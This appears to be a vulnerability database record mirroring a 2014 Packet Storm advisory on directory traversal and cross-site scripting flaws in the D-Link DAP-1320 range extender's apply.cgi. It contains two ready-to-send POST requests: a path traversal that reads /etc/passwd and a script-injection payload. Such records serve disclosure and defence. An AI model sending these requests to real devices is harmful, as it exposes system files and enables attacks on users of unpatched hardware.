ID

VAR-E-201404-0439


TITLE

D-Link DAP-1320 Directory Traversal / Cross Site Scripting

Trust: 0.5

sources: PACKETSTORM: 126219

DESCRIPTION

D-Link DAP-1320 wireless range extenders suffer from cross site scripting and directory traversal vulnerabilities.

Trust: 0.5

sources: PACKETSTORM: 126219

AFFECTED PRODUCTS

vendor:d linkmodel:dap-1320scope: - version: -

Trust: 0.5

sources: PACKETSTORM: 126219

EXPLOIT

D-Link's DAP-1320 Wireless Range Extender suffers from both a
directory traversal and a XSS vulnerability on all firmware versions.
(current v. 1.20B07)

---------------------------------------------------------------------------------------------------------------------
Directory Traversal
CWE-22: Path Traversal

The POST param 'html_response_page' of apply.cgi suffers from a
directory traversal vulnerability.

The following example will display the contents of /etc/passwd:

http://<IP>/apply.cgi
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded

POST html_response_page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&login_name=&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=PAN&tmp_log_pass_auth=FRIED&graph_code=0DEY&session_id=57687&gcode_base64=8TEHPOO%3D
HTTP/1.1

---------------------------------------------------------------------------------------------------------------------
XSS
CWE-79: Cross Site Scripting

The POST param 'html_response_page' of apply.cgi suffers from a XSS
vulnerability.

Example:

http://<IP>/apply.cgi
Pragma: no-cache
Cache-control: no-cache
Content-Type: application/x-www-form-urlencoded

POST
html_response_page=%3Cscript%3Ealert%28"SquirrelLord"%29%3B%3C%2Fscript%3E&login_name=Huggy&html_response_message=just_login&log_pass=&login_n=admin&action=do_graph_auth&tmp_log_pass=pop&tmp_log_pass_auth=goes&graph_code=joffrey&session_id=57687&gcode_base64=ZZTOPI%3D
HTTP/1.1

---------------------------------------------------------------------------------------------------------------------

Vendor Link:
http://support.dlink.com/ProductInfo.aspx?m=DAP-1320

Research Contact: K Lovett

Trust: 0.5

sources: PACKETSTORM: 126219

EXPLOIT HASH

LOCAL

SOURCE

md5: 4112b4df739e7ec39886258958f425e4
sha-1: 8d17364e4f892b10af983062cb3d3971fbaf09af
sha-256: 77b810526b2243160b03793dfdb3c3585e5ec7325808307c5d7dc5f0e4ec20bd
md5: 4112b4df739e7ec39886258958f425e4

Trust: 0.5

sources: PACKETSTORM: 126219

PRICE

free

Trust: 0.5

sources: PACKETSTORM: 126219

TYPE

xss, file inclusion

Trust: 0.5

sources: PACKETSTORM: 126219

TAGS

tag:exploit

Trust: 0.5

tag:vulnerability

Trust: 0.5

tag:xss

Trust: 0.5

tag:file inclusion

Trust: 0.5

sources: PACKETSTORM: 126219

CREDITS

Kyle Lovett

Trust: 0.5

sources: PACKETSTORM: 126219

EXTERNAL IDS

db:PACKETSTORMid:126219

Trust: 0.5

sources: PACKETSTORM: 126219

SOURCES

db:PACKETSTORMid:126219

LAST UPDATE DATE

2022-07-27T09:27:26.484000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:126219date:2014-04-17T22:23:03